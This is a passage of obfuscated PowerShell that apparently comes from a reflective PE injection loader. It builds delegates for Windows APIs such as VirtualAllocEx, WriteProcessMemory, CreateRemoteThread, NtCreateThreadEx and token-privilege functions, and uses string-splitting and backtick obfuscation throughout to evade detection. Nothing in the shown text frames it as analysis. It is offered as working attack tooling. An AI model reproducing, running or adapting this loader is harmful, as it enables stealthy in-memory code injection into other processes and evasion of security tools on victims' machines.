("{2}{3}{0}{1}" -f'Propert','y','Not','e') -Name ("{10}{0}{2}{7}{3}{4}{5}{8}{6}{9}{1}" -f'E_DLL','AT','CHA','E','RI','S','NX','RACT','TICS_','_COMP','IMAG') -Value 0x100 ${w`iN`32CONsTA`NtS} | &("{2}{0}{1}" -f 'Mem','ber','Add-') -MemberType ("{2}{3}{1}{0}"-f'y','pert','Note','Pro') -Name ("{1}{2}{0}{3}"-f 'AS','M','EM_RELE','E') -Value 0x8000 ${W`In3`2cONStAn`Ts} | &("{1}{2}{0}"-f 'mber','A','dd-Me') -MemberType ("{3}{2}{1}{0}"-f'rty','Prope','e','Not') -Name ("{0}{1}{2}"-f'T','OKEN_QUER','Y') -Value 0x0008 ${WiN32`c`O`N`sTanTs} | &("{1}{0}{2}"-f'dd-Memb','A','er') -MemberType ("{0}{1}{3}{2}" -f'NoteP','r','y','opert') -Name ("{0}{5}{2}{4}{6}{1}{3}"-f 'TOKEN_A','PRIV','J','ILEGES','US','D','T_') -Value 0x0020 ${WiN`32CO`NsTa`NtS} | &("{2}{1}{0}" -f'Member','d-','Ad') -MemberType ("{3}{2}{1}{0}" -f 'y','tePropert','o','N') -Name ("{3}{1}{0}{2}{4}" -f'GE','_PRIVILE','_EN','SE','ABLED') -Value 0x2 ${wIN32cO`Nsta`Nts} | &("{0}{1}{2}" -f'Add-M','emb','er') -MemberType ("{1}{2}{0}{3}"-f 'ePrope','No','t','rty') -Name ("{4}{0}{1}{2}{3}"-f 'O','_','TOK','EN','ERROR_N') -Value 0x3f0 return ${wi`N`32`COnSTaNTS} } Function Get-`WIn3`2f`U`Nc`TionS { ${W`In`32FuNC`TiONS} = &('a') ("{1}{2}{3}{0}"-f'ect','System.','O','bj') ${vIRt`UA`la`LlOCaDDR} = &("{1}{2}{0}{3}" -f'ocAdd','G','et-Pr','ress') ("{1}{2}{0}" -f '.dll','kernel','32') ("{1}{2}{0}" -f 'lloc','Virtua','lA') ${v`irtUALA`LLOcdel`Ega`TE} = &("{2}{4}{1}{0}{3}"-f'yp','legateT','Get','e','-De') @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) ${vir`TUAL`Alloc} = [System.Runtime.InteropServices.Marshal]::"gET`DELegATeF`or`F`UNc`TioNpo`IN`TEr"(${VIr`TUAL`AlloCaD`dR}, ${Vi`Rtu`Alal`LoC`dEleGATe}) ${Win32`FUNc`Tio`NS} | &("{1}{2}{0}"-f'r','Ad','d-Membe') ("{1}{2}{0}"-f'teProperty','N','o') -Name ("{0}{1}{2}"-f'Virtu','alAllo','c') -Value ${VIrTU`ALaLL`oC} ${V`irTuaL`ALlOC`eXaD`dr} = &("{3}{2}{1}{0}{4}"-f'd','Ad','et-Proc','G','ress') ("{1}{2}{0}"-f'l32.dll','ke','rne') ("{3}{0}{2}{1}"-f 'i','ocEx','rtualAll','V') ${viRTuaLA`Ll`OC`ExdEL`e`G`ATE} = &("{4}{3}{2}{0}{1}"-f 'yp','e','-DelegateT','et','G') @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) ${viR`TUAla`lLoC`Ex} = [System.Runtime.InteropServices.Marshal]::"getDE`l`EgA`TE`Fo`Rfu`NC`TIoNPoinT`ER"(${VIrtUAL`ALl`O`CEX`ADDR}, ${V`I`RTU`ALALlOce`XDElEGatE}) ${W`In3`2f`Unct`iOns} | &("{3}{2}{0}{1}" -f'be','r','d-Mem','Ad') ("{2}{0}{3}{1}" -f 'ote','ty','N','Proper') -Name ("{3}{2}{0}{1}"-f'lAll','ocEx','rtua','Vi') -Value ${vIrTual`A`l`l`oCEx} ${Me`M`cPyadDr} = &("{2}{0}{3}{1}"-f 'ocA','dress','Get-Pr','d') ("{1}{0}{2}" -f 'svcrt.d','m','ll') ("{1}{0}" -f 'cpy','mem') ${M`EM`c`PY`DELegAtE} = &("{2}{3}{1}{0}{4}"-f'teTyp','ega','Get-','Del','e') @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) ${memc`PY} = [System.Runtime.InteropServices.Marshal]::"G`Et`deleG`AtEF`o`RfuN`cTiOnPoInTeR"(${m`emCpY`AdDr}, ${mEmCPyDE`Le`g`ATe}) ${W`IN32fUNc`TIONS} | &("{1}{2}{0}" -f'ber','A','dd-Mem') -MemberType ("{3}{1}{2}{0}"-f 'operty','teP','r','No') -Name ("{1}{0}"-f'y','memcp') -Value ${Mem`c`py} ${M`EMSE`Ta`dDR} = &("{2}{0}{1}{3}" -f'c','Add','Get-Pro','ress') ("{1}{0}{3}{2}" -f'r','msvc','.dll','t') ("{1}{0}" -f 'et','mems') ${M`eMSE`TdEle`g`Ate} = &("{1}{2}{0}{3}" -f 'ga','Get-De','le','teType') @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) ${ME`M`seT} = [System.Runtime.InteropServices.Marshal]::"GE`Td`ELE`gaT`EFOrfUnctiOnpoIN`T`ER"(${MEMse`T`AddR}, ${m`E`mSEtdELeG`Ate}) ${w`In32FuNc`TI`o`Ns} | &("{1}{2}{0}"-f'mber','Add','-Me') -MemberType ("{1}{0}{2}" -f 'te','No','Property') -Name ("{1}{0}{2}"-f'm','me','set') -Value ${m`em`seT} ${loAdli`BRa`R`yadDr} = &("{2}{3}{1}{0}"-f 's','cAddres','Get-P','ro') ("{0}{1}{3}{2}"-f'ker','nel','2.dll','3') ("{3}{1}{0}{2}"-f 'dLi','oa','braryA','L') ${LOaD`liBR`A`RyDEl`E`G`ATe} = &("{0}{2}{3}{1}" -f'Get-Del','pe','eg','ateTy') @([String]) ([IntPtr]) ${LoAdLI`B`Ra`Ry} = [System.Runtime.InteropServices.Marshal]::"GE`T`DelEGATEfO`Rf`Unc`TIoNpoINT`eR"(${lO`AD`Lib`RARy`AdDR}, ${L`oA`dl`IbrAr`y`De`lEGAte}) ${win3`2`Fu`N`Ctions} | &("{0}{2}{1}" -f 'Add','ember','-M') -MemberType ("{0}{1}{2}"-f'No','teP','roperty') -Name ("{1}{3}{2}{0}" -f 'brary','Lo','Li','ad') -Value ${LOA`dli`BrAry} ${g`e`TpRocAD`DRe`ss`ADdR} = &("{2}{0}{1}" -f'-ProcAdd','ress','Get') ("{1}{2}{0}" -f'dll','kern','el32.') ("{0}{2}{1}{3}" -f'GetProc','dre','Ad','ss') ${G`etprOc`ADD`RE`ssDele`GA`Te} = &("{0}{3}{1}{2}"-f'Ge','Delegat','eType','t-') @([IntPtr], [String]) ([IntPtr]) ${G`E`TPrOCA`dDrEss} = [System.Runtime.InteropServices.Marshal]::"geTdE`Le`G`AT`EfoRfU`NcT`I`ONPOI`NTer"(${GeTp`Ro`cAddrEs`S`AdDr}, ${gETPRo`C`AddresS`DE`l`E`gaTE}) ${W`i`N32fUN`ct`iONs} | &("{0}{2}{1}"-f 'A','er','dd-Memb') -MemberType ("{3}{2}{0}{1}"-f'pe','rty','ro','NoteP') -Name ("{1}{3}{0}{2}"-f'dd','GetPro','ress','cA') -Value ${GeT`PR`O`ca`DdRess} ${g`ETPr`OCa`DD`Res`sIntptrad`dr} = &("{3}{0}{2}{1}"-f 'r','dress','ocAd','Get-P') ("{0}{1}{2}" -f'ke','rnel','32.dll') ("{2}{0}{1}"-f'd','ress','GetProcAd') ${getPROc`Ad`drES`sINt`p`Tr`DeLEG`A`Te} = &("{0}{1}{2}" -f'Get-Deleg','at','eType') @([IntPtr], [IntPtr]) ([IntPtr]) ${GET`PR`OCAd`D`RessI`NtP`Tr} = [System.Runtime.InteropServices.Marshal]::"GE`TDeleGaT`E`FORFUNc`TI`ONP`oiNter"(${g`ETProcA`DdREsS`IN`TpTRaD`Dr}, ${g`e`T`PR`oc`AddRE`S`siNTpTRdele`GATE}) ${wIn3`2fUnC`TIo`Ns} | &("{1}{0}{2}{3}"-f'd-','Ad','M','ember') -MemberType ("{2}{3}{0}{1}" -f 'P','roperty','N','ote') -Name ("{3}{2}{1}{0}{4}"-f 'In','ess','ProcAddr','Get','tPtr') -Value ${geTp`R`O`CaDd`RE`ssIntptR} ${VI`RtU`AlFrEEaD`dr} = &("{2}{3}{1}{0}{4}"-f 'r','Add','Get-Pr','oc','ess') ("{0}{3}{1}{2}" -f 'k','rnel3','2.dll','e') ("{1}{2}{0}"-f'ee','Vi','rtualFr') ${vIR`TU`Alf`ReEd`ELEgA`Te} = &("{3}{2}{0}{1}"-f 'y','pe','eT','Get-Delegat') @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) ${V`IrtU`ALFree} = [System.Runtime.InteropServices.Marshal]::"gETD`e`Le`GA`TEF`ORFuNCTioN`pOInteR"(${v`iRtua`L`Fr`EeaDDR}, ${VIr`T`UalFree`dE`le`gatE}) ${wI`N`32FU`NctIONS} | &("{2}{1}{0}"-f'er','Memb','Add-') ("{0}{1}{3}{2}"-f'No','te','erty','Prop') -Name ("{0}{3}{2}{1}" -f'V','lFree','ua','irt') -Value ${virt`UaL`FreE} ${v`I`RTua`LfRee`ExaD`dr} = &("{3}{2}{0}{4}{1}"-f'rocAdd','ss','-P','Get','re') ("{1}{2}{0}{3}"-f'l','k','erne','32.dll') ("{1}{3}{4}{2}{0}" -f 'alFreeEx','Vi','u','r','t') ${V`irTUa`lFr`Eee`x`dELegA`Te} = &("{4}{3}{2}{1}{0}"-f'egateType','el','D','-','Get') @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) ${vi`Rt`UAlFReEeX} = [System.Runtime.InteropServices.Marshal]::"G`etD`ELE`g`ATeFORfuNC`TI`oNP`OIN`Ter"(${v`Ir`TuA`Lf`ReEexaDdr}, ${VIRTUALF`RE`eeXD`e`lE`gATE}) ${w`I`N32FuN`CtIons} | &("{0}{2}{1}"-f 'Add','ber','-Mem') ("{2}{1}{0}" -f 'y','t','NoteProper') -Name ("{0}{1}{2}" -f 'V','irtu','alFreeEx') -Value ${v`irTua`LfrEE`ex} ${V`IRTUAl`PrOt`eC`TAddr} = &("{3}{0}{2}{1}" -f 'cAddr','ss','e','Get-Pro') ("{0}{2}{3}{1}" -f 'ke','dll','rnel','32.') ("{2}{1}{0}"-f'ect','irtualProt','V') ${virtUAL`proTeCTdE`lEg`A`TE} = &("{4}{1}{3}{2}{0}"-f'Type','le','ate','g','Get-De') @([IntPtr], [UIntPtr], [UInt32], [UInt32]."m`A`Keby`ReF`TyPe"()) ([Bool]) ${vi`Ss} = [System.Runtime.InteropServices.Marshal]::"g`ETde`leGaTE`FoRF`Un`CTiOnPO`iNter"(${v`Ir`TUAl`PRoTEcTa`D`DR}, ${V`i`Rtual`PrOtEcTD`e`LeGAtE}) ${w`IN`32FUn`CTIO`NS} | &("{1}{0}{2}"-f 'dd-Me','A','mber') ("{3}{2}{1}{0}" -f 'ty','per','o','NotePr') -Name ("{1}{3}{0}{2}" -f'Pr','Vi','otect','rtual') -Value ${v`isS} ${getMODULeHaN`d`L`Ead`DR} = &("{1}{2}{4}{0}{3}"-f'Addres','G','et','s','-Proc') ("{0}{2}{1}"-f'ke','l32.dll','rne') ("{0}{2}{4}{1}{3}"-f 'GetM','ndl','odu','eA','leHa') ${GET`MOD`Ul`eHaNDl`EdelegaTE} = &("{0}{1}{2}{3}" -f 'G','et','-Delega','teType') @([String]) ([IntPtr]) ${gETModu`LeHa`Nd`LE} = [System.Runtime.InteropServices.Marshal]::"GEtdE`lEGatEFoRFUnc`T`I`ONPOi`N`TeR"(${gEtmodu`lEh`AnD`l`EAdDr}, ${geT`MoD`UleHa`NDLedElEG`AtE}) ${wIn`32FUNCT`I`Ons} | &("{2}{1}{0}"-f 'Member','dd-','A') ("{2}{1}{0}"-f 'y','Propert','Note') -Name ("{2}{3}{0}{1}" -f'ule','Handle','G','etMod') -Value ${Ge`Tm`odu`lEhA`NDLe} ${f`R`eELIb`Rar`yAdDR} = &("{2}{3}{1}{0}"-f 'ess','ProcAddr','Ge','t-') ("{2}{1}{0}"-f'dll','nel32.','ker') ("{1}{2}{0}"-f 'ibrary','Fre','eL') ${fR`EeLibRA`RYdE`LeG`AtE} = &("{3}{2}{0}{1}{4}" -f'eleg','ateTyp','t-D','Ge','e') @([IntPtr]) ([Bool]) ${FREeLi`B`RARY} = [System.Runtime.InteropServices.Marshal]::"GET`d`ELeGatefo`RF`U`NCtiO`NPoInter"(${F`R`eE`lIBraRYadDr}, ${Fre`ElibRA`RYDe`LE`gaTe}) ${wIN32FU`N`cT`IonS} | &("{1}{2}{0}" -f 'mber','Add-M','e') -MemberType ("{2}{1}{0}{3}"-f'ert','rop','NoteP','y') -Name ("{3}{1}{2}{0}"-f'y','ree','Librar','F') -Value ${F`REEl`iB`RARY} ${O`P`En`PrOcE`SSadDR} = &("{1}{3}{0}{2}"-f 'ddres','Get-P','s','rocA') ("{1}{0}{3}{2}" -f 'e','k','l32.dll','rne') ("{3}{2}{1}{0}" -f 'ess','oc','r','OpenP') ${Op`ENpRo`CeSsDE`l`EG`Ate} = &("{0}{3}{4}{1}{2}"-f'Get','gateT','ype','-','Dele') @([UInt32], [Bool], [UInt32]) ([IntPtr]) ${oP`eNp`ROcESS} = [System.Runtime.InteropServices.Marshal]::"G`ET`DeLegATeF`ORfUN`C`Ti`ONPoIntER"(${oPe`NPROce`SSa`ddr}, ${o`PenpR`OCe`ssdEL`egatE}) ${wIn32fU`Nc`TIONs} | &("{0}{1}{2}" -f 'Add-M','em','ber') -MemberType ("{3}{0}{2}{1}"-f'otePr','ty','oper','N') -Name ("{1}{3}{0}{2}" -f 'ce','O','ss','penPro') -Value ${OpEn`PR`Oc`eSs} ${WaItFoRs`ing`LEo`B`JE`CtadDR} = &("{2}{3}{1}{4}{0}"-f 'ss','c','Ge','t-Pro','Addre') ("{0}{2}{3}{1}"-f 'k','el32.dll','er','n') ("{3}{1}{4}{5}{2}{0}"-f'ect','itFor','Obj','Wa','Si','ngle') ${WaITFOrS`iNGlEOb`Je`CtdEL`eg`Ate} = &("{4}{3}{1}{0}{2}" -f 'ega','l','teType','De','Get-') @([IntPtr], [UInt32]) ([UInt32]) ${w`A`iTFO`RSi`Ngle`o`BJECT} = [System.Runtime.InteropServices.Marshal]::"GetDe`le`GATEFo`Rf`UNC`TioNPOIn`TeR"(${wa`itFor`S`I`NGlEOBJE`CtaddR}, ${Waitfo`RSINGleoB`jE`CtDeLe`g`ATE}) ${WiN32fUn`CTI`Ons} | &("{1}{2}{0}"-f 'r','Add-M','embe') -MemberType ("{1}{0}{2}"-f 'pert','NotePro','y') -Name ("{3}{0}{2}{1}"-f'rSin','ject','gleOb','WaitFo') -Value ${wA`iTfOrS`i`N`glEO`B`jECt} ${wr`it`EpROc`Essm`EMorY`ADDR} = &("{3}{1}{2}{0}" -f 'ddress','t-','ProcA','Ge') ("{2}{1}{0}" -f'l','.dl','kernel32') ("{1}{3}{2}{0}{5}{4}"-f'm','W','teProcessMe','ri','y','or') ${WRiTEpR`oces`SmemorYdeLE`g`A`Te} = &("{2}{3}{0}{1}" -f 'p','e','Get-Delegat','eTy') @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr]."MaKeb`yREfT`Ype"()) ([Bool]) ${dfv`yy} = [System.Runtime.InteropServices.Marshal]::"GetDELEgatEf`ORf`Un`c`T`IOnPoINter"(${w`Ri`Tep`ROcEssmemOr`yADDr}, ${W`RI`TEP`Ro`ceSSMEmo`RY`DEleGa`Te}) ${W`IN32fUNC`TIoNS} | &("{2}{1}{0}" -f 'd-Member','d','A') -MemberType ("{2}{1}{0}{3}" -f 'tePro','o','N','perty') -Name ("{2}{5}{0}{3}{4}{1}" -f'ite','emory','W','Process','M','r') -Value ${D`FVyy} ${reaDpROc`e`Ss`MEMo`R`y`AdDr} = &("{3}{0}{1}{2}{4}"-f 'oc','A','ddr','Get-Pr','ess') ("{3}{0}{1}{2}"-f'l32.','dl','l','kerne') ("{5}{4}{0}{1}{2}{3}" -f'ce','ssM','emo','ry','dPro','Rea') ${rEa`dP`RoC`EsSm`EmOrY`d`E`LEGate} = &("{3}{1}{4}{0}{2}" -f'a','ele','teType','Get-D','g') @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr]."mAK`Ebyr`eftYPe"()) ([Bool]) ${R`Eadp`ROC`EssME`Mory} = [System.Runtime.InteropServices.Marshal]::"GETdELeg`ATEfOrf`UN`cTI`OnPO`InteR"(${reAdPR`OcEssm`EM`OrYAdDr}, ${ReAd`P`R`oCeSS`m`EmORyDELeg`AtE}) ${wIn32f`UNc`T`I`ons} | &("{3}{2}{1}{0}" -f'ember','d-M','d','A') -MemberType ("{0}{2}{1}{3}"-f'Note','o','Pr','perty') -Name ("{2}{5}{1}{0}{3}{4}" -f'm','ProcessMe','Rea','o','ry','d') -Value ${Rea`dPrO`c`es`sMEmoRY} ${cRE`A`TeremotET`H`READaD`dR} = &("{3}{0}{2}{1}" -f 'et-','ddress','ProcA','G') ("{1}{3}{0}{2}" -f'n','ke','el32.dll','r') ("{0}{3}{1}{2}{4}"-f 'Cr','eRemo','teT','eat','hread') ${C`REaTer`eMot`Et`h`Re`A`DDeLegAtE} = &("{2}{0}{1}{3}"-f 'lega','teTyp','Get-De','e') @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) ${Cr`eAt`ER`E`MOT`etHrEAD} = [System.Runtime.InteropServices.Marshal]::"gE`TDElegAtEFo`RfuNc`TionP`oi`NtER"(${cR`E`ATERemOTETh`R`e`AD`ADdR}, ${cReatERe`M`o`TeTH`ReAdD`e`le`ga`Te}) ${w`iN3`2`FUNCTioNS} | &("{2}{3}{1}{0}"-f'er','b','Add-Me','m') -MemberType ("{0}{3}{1}{2}"-f'NoteP','op','erty','r') -Name ("{4}{0}{2}{3}{1}"-f 'a','hread','teRemot','eT','Cre') -Value ${cReaTERe`mot`ET`hRE`AD} ${ge`T`e`XITC`o`deTHREadaddr} = &("{1}{0}{3}{2}"-f'd','Get-ProcA','ess','dr') ("{0}{2}{1}"-f 'kernel32','ll','.d') ("{1}{2}{0}{3}"-f'r','GetExi','tCodeTh','ead') ${gEt`EXI`T`c`ODe`TH`REaDdEleGAtE} = &("{2}{0}{1}{3}" -f'egate','T','Get-Del','ype') @([IntPtr], [Int32]."M`AKE`By`ReFtYPE"()) ([Bool]) ${GE`Te`XItCODe`ThreAD} = [System.Runtime.InteropServices.Marshal]::"gE`TDeL`eG`ATEfOrfUN`ctiOnpoI`NtER"(${geTEXi`TCodE`THREA`DAddr}, ${GE`T`exitCODE`Th`REadDEL`eGA`Te}) ${wI`N32`F`UnctIO`NS} | &("{0}{1}{2}" -f 'A','d','d-Member') -MemberType ("{3}{1}{0}{2}"-f'ope','r','rty','NoteP') -Name ("{0}{1}{2}{3}{4}"-f 'Ge','tE','xit','CodeT','hread') -Value ${GeTEXiTc`ode`T`HrEAd} ${o`pEN`Th`REad`TOKEN`ADdr} = &("{1}{2}{3}{4}{0}" -f 's','Ge','t-Pr','ocAddr','es') ("{0}{3}{1}{2}" -f'A','v','api32.dll','d') ("{3}{1}{0}{2}"-f 'read','nTh','Token','Ope') ${o`p`E`NthrEaD`TOKende`leGATE} = &("{3}{0}{2}{1}"-f'eleg','eType','at','Get-D') @([IntPtr], [UInt32], [Bool], [IntPtr]."ma`KeBY`R`eFty`pe"()) ([Bool]) ${Ope`Nt`HRE`AD`TOkEn} = [System.Runtime.InteropServices.Marshal]::"GeT`D`e`legaTe`FORFUN`cTi`O`NPo`IntER"(${OpEn`Th`Rea`d`T`oK`eNADdr}, ${oP`en`T`hr`eAd`TOkeNdeL`EgATE}) ${wIN32FU`N`CtIoNs} | &("{2}{0}{1}"-f'-Mem','ber','Add') -MemberType ("{1}{3}{0}{2}" -f'pert','Note','y','Pro') -Name ("{0}{2}{3}{4}{1}" -f'O','en','penT','hread','Tok') -Value ${OpEnT`Hr`eaD`ToKen} ${G`e`TCurR`ENT`THrEAdaDDr} = &("{2}{4}{3}{0}{1}" -f'dres','s','Get','cAd','-Pro') ("{2}{1}{0}{3}" -f '2.','rnel3','ke','dll') ("{4}{0}{1}{3}{2}"-f'Curren','tT','read','h','Get') ${GE`T`CUrr`e`N`TTHREAD`dELe`GatE} = &("{4}{1}{0}{3}{2}{5}"-f 'e','et-D','teTyp','lega','G','e') @() ([IntPtr]) ${GE`TCUrr`enTthRE`AD} = [System.Runtime.InteropServices.Marshal]::"GET`d`E`Le`GAtEfoRF`Unc`TiOnPO`INTeR"(${g`EtCurreNt`Th`ReadaDdR}, ${GEtcUr`R`ENTth`Read`d`eLe`G`Ate}) ${wIn32FU`N`c`TIonS} | &("{2}{0}{1}"-f 'd','d-Member','A') -MemberType ("{1}{2}{3}{0}"-f 'rty','Note','Prop','e') -Name ("{0}{3}{1}{4}{2}" -f 'GetCurre','h','ad','ntT','re') -Value ${gEt`Cu`R`ReNTTH`R`eaD} ${AD`j`UstToKe`N`PRIVI`leg`E`SaDDr} = &("{1}{2}{3}{4}{0}"-f's','Ge','t','-Pro','cAddres') ("{2}{0}{1}" -f 'va','pi32.dll','Ad') ("{5}{4}{1}{0}{2}{3}"-f 'oken','T','Privi','leges','t','Adjus') ${ADJuSTto`KENpr`iV`Ilegesd`EleGaTe} = &("{2}{3}{0}{1}"-f 'ateTyp','e','Get-De','leg') @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) ${Adj`U`sTtoK`eNpR`IvIlEgEs} = [System.Runtime.InteropServices.Marshal]::"gETd`El`Ega`TEF`ORF`Un`cTIONpOIN`T`eR"(${ADJUstTO`K`En`PRivILeGES`AdDR}, ${ad`j`Usttok`e`NP`RIvilEgeSD`EL`EGa`Te}) ${wIN32f`UN`cTIoNS} | &("{2}{0}{1}" -f '-Mem','ber','Add') -MemberType ("{2}{1}{0}"-f 'y','ropert','NoteP') -Name ("{0}{5}{4}{6}{3}{2}{1}"-f'Adj','s','ege','ivil','ken','ustTo','Pr') -Value ${A`DjUStT`OKENprI`Vi`L`egES} ${LO`o`kuppriviLE`ge`Va`LUe`ADDr} = &("{3}{0}{1}{2}" -f 'ProcAddr','es','s','Get-') ("{0}{2}{1}"-f 'Advapi32','dll','.') ("{1}{3}{0}{2}"-f 'rivilegeV','Loo','alueA','kupP') ${LOO`k`Up`PRI`VilE`geVal`UeDelEGatE} = &("{1}{0}{3}{2}"-f't-','Ge','elegateType','D') @([String], [String], [IntPtr]) ([Bool]) ${LookuP`Pr`iv`Il`eGeval`UE} = [System.Runtime.InteropServices.Marshal]::"g`eTDEl`Eg`At`efOrFUNCt`I`ONpoiNt`eR"(${lookuPPRIvI`l`EgeVA`LUeA`d`Dr}, ${l`o`OkUpPRIV`I`LeGe`Val`UEdEl`ega`TE}) ${wiN`32`F`UNCTioNS} | &("{0}{1}{2}"-f 'Add','-M','ember') -MemberType ("{1}{0}{2}" -f'ePropert','Not','y') -Name ("{0}{4}{3}{1}{2}"-f 'Lookup','geVa','lue','rivile','P') -Value ${LO`OKU`Pp`RI`VI`LegeV`AlUe} ${imPe`RSOnatEsE`Lfad`dr} = &("{3}{1}{0}{2}"-f'roc','-P','Address','Get') ("{3}{1}{2}{0}"-f 'l','vapi32.','dl','Ad') ("{1}{3}{2}{0}"-f'f','Impers','eSel','onat') ${i`mPEr`sOnAT`eSElFDeLEga`TE} = &("{3}{1}{2}{4}{0}"-f'e','Del','egate','Get-','Typ') @([Int32]) ([Bool]) ${i`MPersOn`AT`esELf} = [System.Runtime.InteropServices.Marshal]::"gE`TDELeg`ATEfORF`Un`CTiON`P`OINtER"(${i`M`perSo`Na`TESE`lfaDdr}, ${IMP`er`sOnaTeSELFDe`L`EGAtE}) ${WIN3`2`F`UnCTIoNS} | &("{0}{1}{2}" -f 'Add-','M','ember') -MemberType ("{2}{1}{0}" -f'perty','ePro','Not') -Name ("{4}{3}{0}{2}{1}"-f 'sona','lf','teSe','per','Im') -Value ${iMp`ERSOnaT`e`sE`lf} if (([Environment]::"oSv`er`si`on"."vE`RsION" -ge (&('a') 'Version' 6,0)) -and ([Environment]::"O`SvEr`SION"."VER`Sion" -lt (&('a') 'Version' 6,2))) { ${ntc`ReatE`T`HREADExAdDr} = &("{1}{0}{2}" -f'roc','Get-P','Address') ("{0}{1}{2}"-f 'Nt','Dl','l.dll') ("{0}{1}{3}{2}" -f 'Nt','Cre','eThreadEx','at') ${Nt`c`Reate`T`hR`EAD`ExDELEGatE} = &("{0}{3}{1}{2}{4}" -f'G','De','l','et-','egateType') @([IntPtr]."Ma`K`EBYr`eFTYpe"(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) ${nT`cRe`AteThreA`deX} = [System.Runtime.InteropServices.Marshal]::"ge`TDElEg`ATEF`o`R`FUNcTIonPOiNTeR"(${N`TC`Re`A`T`E`THReaDExADDr}, ${ntCR`Ea`TEtHrEadEXdE`leGa`Te}) ${wi`N`32fUnc`Tions} | &("{2}{0}{1}"-f 'dd-Mem','ber','A') -MemberType ("{0}{2}{1}{3}" -f'N','tePro','o','perty') -Name ("{2}{5}{0}{3}{1}{4}"-f 'e','hread','Nt','T','Ex','Creat') -Value ${ntCre`ATEt`hR`ead`Ex} } ${iswoW`64`p`R`O`ceSs`ADDR} = &("{3}{0}{1}{2}" -f'r','o','cAddress','Get-P') ("{1}{2}{0}" -f'.dll','Ke','rnel32') ("{3}{2}{1}{0}"-f'ss','ce','ro','IsWow64P') ${ISwOW64procE`sSDe`LeG`A`Te} = &("{0}{2}{3}{1}"-f 'Ge','egateType','t-','Del') @([IntPtr], [Bool]."m`Ak`ebY`ReFT`YPe"()) ([Bool]) ${Iswo`w64P`RoC`EsS} = [System.Runtime.InteropServices.Marshal]::"g`ETdELeGA`TEfo`RfuNcTIonp`OInT`er"(${is`wOW64`ProcE`Ss`Ad`dr}, ${IswOw`64Pro`CE`s`sdeLEga`Te}) ${WIN`32FuNc`T`Io`Ns} | &("{1}{2}{0}{3}"-f 'b','A','dd-Mem','er') -MemberType ("{2}{1}{3}{0}" -f 'rty','t','No','ePrope') -Name ("{3}{1}{4}{0}{2}" -f'4Proces','w','s','IsWo','6') -Value ${isW`OW6`4p`RoCEsS} ${crE`ATet`hrEada`dDR} = &("{1}{3}{2}{0}" -f's','Ge','ddres','t-ProcA') ("{0}{2}{1}{3}" -f 'Ke','ne','r','l32.dll') ("{2}{0}{1}" -f'reateThre','ad','C') ${C`RE`Ate`THREAd`dE`leGATe} = &("{3}{2}{1}{0}"-f 'ateType','eg','el','Get-D') @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32]."mAkEbYRe`FTY`Pe"()) ([IntPtr]) ${cREa`Teth`R`eAd} = [System.Runtime.InteropServices.Marshal]::"GE`TdELEgAtEf`ORfUNCTiOnpo`I`N`TEr"(${Cr`EAt`eT`HreadAd`DR}, ${C`Rea`TetH`ReA`Dd`elEGAtE}) ${WIn32`FUn`c`TIOns} | &("{3}{0}{1}{2}" -f 'm','be','r','Add-Me') -MemberType ("{1}{3}{0}{2}"-f't','NotePro','y','per') -Name ("{2}{1}{0}" -f'hread','T','Create') -Value ${cReaT`E`Thr`EAd} return ${W`iN3`2FuN`CtIO`Ns} } Function S`Ub`-SiG`NEdI`NTaS`Unsi`Gn`Ed { Param( [Parameter(pOsItIOn = 0, maNDaTOry = ${t`RUe})] [Int64] ${vA`LuE1}, [Parameter(pOSitIon = 1, manDaTORY = ${Tr`Ue})] [Int64] ${vAl`Ue2} ) [Byte[]]${v`A`luE`1BYtES} = [BitConverter]::"GETby`T`es"(${V`AlU`e1}) [Byte[]]${VaLue`2`ByteS} = [BitConverter]::"g`eT`Bytes"(${V`A`lue2}) [Byte[]]${FI`NaLByT`ES} = [BitConverter]::"Ge`TByt`eS"([UInt64]0) if (${VaL`U`E1`BYTes}."cO`Unt" -eq ${val`U`E2`Bytes}."cO`UNt") { ${cAR`RY`over} = 0 for (${I} = 0; ${I} -lt ${V`AlU`E1`BYteS}."cou`Nt"; ${i}++) { ${v`AL} = ${valU`e1BY`TES}[${i}] - ${C`A`RRyovER} if (${V`AL} -lt ${VA`LU`e2ByTES}[${i}]) { ${V`Al} += 256 ${Ca`RrYOV`er} = 1 } else { ${Ca`RrYO`VEr} = 0 } [UInt16]${s`Um} = ${V`AL} - ${valuE2B`y`T`Es}[${I}] ${fi`NAlb`y`TEs}[${i}] = ${S`Um} -band 0x00FF } } else { Throw "" } return [BitConverter]::"To`Int`64"(${Fi`N`ALbYTES}, 0) } Function AdD-siGneDi`N`Tasu`N`sIGNED { Param( [Parameter(PoSition = 0, MandaTORy = ${tR`UE})] [Int64] ${vAlU`e1}, [Parameter(poSITiON = 1, maNdatORy = ${T`RUE})] [Int64] ${vAL`U`e2} ) [Byte[]]${vaLuE`1`ByteS} = [BitConverter]::"GeT`BYtEs"(${V`AL`UE1}) [Byte[]]${VAL`UE2By`Tes} = [BitConverter]::"GET`BYt`eS"(${v`ALUE2}) [Byte[]]${FI`N`ALb`ytES} = [BitConverter]::"G`EtBYT`es"([UInt64]0) if (${vALUe`1bYT`es}."C`OuNT" -eq ${vAlU`E`2b`ytES}."c`oUnT") { ${cA`RrY`OVER} = 0 for (${I} = 0; ${I} -lt ${VAL`UE1b`ytES}."co`UNt"; ${i}++) { [UInt16]${s`Um} = ${V`A`LUE1bytES}[${I}] + ${vA`lU`e2`ByTeS}[${i}] + ${cAR`RYO`Ver} ${f`i`NalBYTeS}[${I}] = ${S`Um} -band 0x00FF if ((${S`UM} -band 0xFF00) -eq 0x100) { ${c`ArR`YOVer} = 1 } else { ${Car`R`YoVer} = 0 } } } else { Throw "" } return 